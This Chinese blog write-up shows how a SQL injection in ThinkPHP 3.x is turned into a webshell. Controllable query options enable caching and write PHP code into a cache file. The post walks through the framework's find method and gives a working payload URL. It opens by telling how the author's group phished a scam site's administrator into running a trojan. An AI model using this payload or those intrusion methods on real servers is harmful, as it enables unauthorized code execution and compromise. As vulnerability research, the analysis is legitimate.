thinkphp3.1.3 getshell_ThinkPHP3由注入导致的getshell
起因搞一个thinkphp3.1.3开发的贷款诈骗站。大佬通过xss钓鱼,让管理员下载免杀的木马上线,然后拿到了源码。审计源码发现前台存在因为$_REQUEST获取数据而导致的注入,但是密码加密方式为:解开密码的概率不大,同时在后台也没能找到getshell的地方。类似钓鱼,诈骗这类的网站几乎都是在和数据库交互,操作文件的地方比较少。正文Demo如下:我这里使用的thinkphp3.2....
起因
搞一个thinkphp3.1.3开发的贷款诈骗站。
大佬通过xss钓鱼,让管理员下载免杀的木马上线,然后拿到了源码。
审计源码发现前台存在因为$_REQUEST获取数据而导致的注入,但是密码加密方式为:

解开密码的概率不大,同时在后台也没能找到getshell的地方。类似钓鱼,诈骗这类的网站几乎都是在和数据库交互,操作文件的地方比较少。
正文
Demo如下:我这里使用的thinkphp3.2.3

在\ThinkPHP\Library\Think\Model.class.php中的find方法:

当我们传入:id[cache][key]=123的时候,就可以开启缓存这个开关了。
这里解释一下:
<?php public function find($options=array()) { // 1.这个$options == $id == == I('id') == $_GET['id'] 也就是说这个$options变量我们任意可控 .... // 判断查询缓存 if(isset($options['cache'])){ // 这里就是判断$options['cache']是否设置,设置了就进入,为什么我们要进入这里呢,就是为了给下面这个$key变量赋值呀! $cache = $options['cache']; $key = is_string($cache['key'])?$cache['key']:md5(serialize($options)); //这里就是给$key变量赋值了。就等于我们的$options['cache']['key'] = 123456 呀。这个$key是全局变量。 $data = S($key,'',$cache);//这里确实是查询,因为我们第一次执行,所以这个$key = 123456 的键的文件肯定不存在呀,读取的结果就是false了。 if(false !== $data){ //所以这个条件就不会成立了,会继续向下走了。 $this->data = $data; return $data; } } $resultSet = $this->db->select($options); // 2.然后就来到了这里,执行了我们的sql语句:SELECT 1,2,'%0aPHPINFO();//' from user limit 1; 这个会返回array('1'=>'1', '2'=>'2', '%0aPHPINFO();//'=>'%0aPHPINFO();//')这个数组 $data = $this->_read_data($resultSet[0]); ... if(isset($cache)){ //3.还是只是判断这个$cache是否设置,设置了就进入。 S($key,$data,$cache); //这就是最关键的写文件。$key是第一步中的那个$key, $data是第二步中的那个数据库操作数据了。 } return $this->data; }
开启缓存,他就是用这个判断是否开启缓存:
// 判断查询缓存 if(isset($options['cache'])){
这个$options['cache']设置了就认为你开启缓存了。所以我们传递一个id[cache][key]=123呢,这样这个$options['cache']变量就设置了。
然后$key 就是进入这个if语句后的赋值。
$key = is_string($cache['key'])?$cache['key']:md5(serialize($options));
第一个$data = S($key,'',$cache); 就是读取缓存,你有缓存的数据了,肯定不在执行数据了,减轻数据库压力。没有就执行查询数据库操作,然后再将查询的数据写入到缓存,方便下次使用,下载在执行同样的操作的时候,在读取缓存就直接读取到了。
传入:id[field]=1,’%0aphpinfo();//’,3
这个的时候,就可以控制执行的sql语句的字段了,也就是可以控制我们回传的数据了。
如图:

注:这里的值必须使用单引号包裹,因为:

然后就是正常的查询数据库了:

然后就将我们的数据通过S写入进缓存文件了。
复现开始的demo:
直接传入payload:
127.0.0.1/index.php/home/index/test?id[field]=2,3,4,'%0aphpinfo();//'&id[cache][key]=1
即可写入缓存,缓存文件名为id[cache][key]=1中值的md5.

最后:文笔写的不好,文章思路写的也不是很清晰明了,还望大家能多包涵斧正。
相关文章
https://xz.aliyun.com/t/2629 注入详情
https://xz.aliyun.com/t/99 写入缓存详情,上面漏洞的限制就是这个文章中提到的限制。

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐




所有评论(0)